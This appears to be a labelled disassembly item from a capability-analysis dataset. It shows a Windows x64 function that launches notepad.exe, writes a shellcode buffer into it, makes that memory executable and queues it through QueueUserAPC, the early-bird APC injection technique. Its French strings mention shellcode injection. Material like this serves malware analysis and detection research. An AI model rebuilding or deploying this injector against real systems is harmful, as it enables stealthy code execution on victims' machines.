Function at 0x140001a10
Capabilities:
Allocate or change rwx memory
Create process on windows
Inject apc
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x320]
sub rsp, 0x420
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x310], rax
xor r12d, r12d
lea rcx, [rbp - 0x10]
mov esi, r12d
mov r15d, r12d
mov r14d, r12d
call section..text
movups xmm0, xmmword [0x140005040]
lea rcx, [rbp - 0x10]
movaps xmmword [rbp + 0xe0], xmm0
call fcn.140001760
lea rdx, str.PlainText
lea rcx, str.unsigned_char__s____
call fcn.140001950
mov edi, r12d
lea rbx, [0x140005050]
lea r13, str.0x_0.2X
nop dword [rax + rax]
mov eax, edi
and eax, 0x8000000f
jge 0x140001ab0
dec eax
or eax, 0xfffffff0
inc eax
test eax, eax
jne 0x140001ac0
lea rcx, [0x140003600]
call fcn.140001950
movzx edx, byte [rbx]
lea rcx, str.0x_0.2X_
cmp edi, 0x10f
cmovae rcx, r13
call fcn.140001950
inc edi
inc rbx
cmp edi, 0x110
jb 0x140001aa0
lea rcx, str.__n_n_n
call fcn.140001950
lea rdx, [0x140005050]
lea rcx, str.Data:__s__n
call fcn.140001950
xorps xmm0, xmm0
lea rdi, [rbp - 0x80]
xor eax, eax
lea rdx, [rbp - 0x10]
movups xmmword [rbp - 0x7c], xmm0
mov dword [rbp - 0x1c], eax
mov ecx, 0x68
movups xmmword [rbp - 0x6c], xmm0
mov qword [rsp + 0x60], rax
mov r8d, 0x104
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
rep stosb byte [rdi], al
movups xmmword [rsp + 0x50], xmm0
lea rdi, [rsp + 0x50]
mov dword [rbp - 0x80], 0x68
mov ecx, 0x18
rep stosb byte [rdi], al
lea rcx, str.WINDIR
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x140001b81
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetEnvironmentVariableA_a
call fcn.140001950
jmp 0x140001c20
lea rax, str.notepad.exe
mov edx, 0x208
lea r9, [rbp - 0x10]
mov qword [rsp + 0x20], rax
lea r8, str._sSystem32_s
lea rcx, [rbp + 0x100]
call fcn.1400019b0
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x100]
lea rax, [rbp - 0x80]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140001c02
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateProcessA_a
call fcn.140001950
jmp 0x140001c20
mov r15d, dword [rsp + 0x60]
mov rsi, qword [rsp + 0x50]
mov r14, qword [rsp + 0x58]
test r15d, r15d
je 0x140001c20
test rsi, rsi
je 0x140001c20
test r14, r14
jne 0x140001c2c
lea rcx, str.____Erreur_lors_de_la_recherche_du_processus_n
call fcn.140001950
xor edx, edx
mov qword [rsp + 0x70], r12
mov r9d, 0x3000
mov dword [rsp + 0x68], r12d
mov r8d, 0x110
mov dword [rsp + 0x20], 4
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
jne 0x140001c66
lea rdi, str.____VirtualAllocEx_a
jmp 0x140001cce
lea rax, [rsp + 0x70]
mov r9d, 0x110
lea r8, [0x140005050]
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001cc7
cmp qword [rsp + 0x70], 0x110
jne 0x140001cc7
lea rax, [rsp + 0x68]
mov r9d, 0x40
mov r8d, 0x110
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x140001cea
lea rdi, str.____VirtualProtectEx_a
jmp 0x140001cce
lea rdi, str.____WriteProcessMemory_a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rdi
call fcn.140001950
lea rcx, str.____Erreur_lors_de_linjection_du_shellcode_n
call fcn.140001950
xor r8d, r8d
mov rdx, r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_DebugActiveProcessStop]
xor eax, eax
mov rcx, qword [rbp + 0x310]
xor rcx, rsp
call fcn.140001d50
lea r11, [rsp + 0x420]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret